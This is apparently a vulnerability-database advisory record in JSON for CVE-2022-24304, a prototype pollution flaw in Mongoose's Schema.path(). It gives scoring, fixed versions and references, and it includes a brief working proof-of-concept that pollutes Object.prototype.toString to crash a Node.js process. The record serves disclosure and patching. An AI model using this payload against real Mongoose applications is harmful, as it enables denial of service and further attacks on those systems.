{"id":"CVE-2022-24304","aliases":[],"url":"https://o3.security/vulnerability/CVE-2022-24304","summary":"Mongoose Vulnerable to Prototype Pollution in Schema Object","details":"### Description\nMongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.\n\nAffected versions of this package are vulnerable to Prototype Pollution. The `Schema.path()` function is vulnerable to prototype pollution when setting the `schema` object. This vulnerability allows modification of the Object prototype and could be manipulated into a Denial of Service (DoS) attack.\n\n### Proof of Concept\n```js\n// poc.js\nconst mongoose = require('mongoose');\nconst schema = new mongoose.Schema();\n\nmalicious_payload = '__proto__.toString'\n\nschema.path(malicious_payload, [String])\n\nx = {}\nconsole.log(x.toString()) // crashed (Denial of service (DoS) attack)\n```\n\n### Impact\nThis vulnerability can be manipulated to exploit other types of attacks, such as Denial of service (DoS), Remote Code Execution, or Property Injection.","published":"2022-08-27T00:00:54Z","modified":"2024-04-22T23:44:02.962119Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"mongoose","fixedVersion":"6.4.6"},{"ecosystem":"npm","name":"mongoose","fixedVersion":"5.13.15"}],"fix":{"url":"https://github.com/Automattic/mongoose/commit/6a197316564742c0422309e1b5fecfa4faec126e","label":"Automattic/mongoose@6a19731"},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-24304"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/issues/12085"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/commit/6a197316564742c0422309e1b5fecfa4faec126e"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/commit/a45cfb6b0ce0067ae9794cfa80f7917e1fb3c6f8"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/blob/51e758541763b6f14569744ced15cc23ab8b50c6/lib/schema.js#L88-L141"},{"type":"WEB","url":"https://huntr.dev/bounties/055be524-9296-4b2f-b68d-6d5b810d1ddd"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2024-04-22T23:44:02.962119Z"}}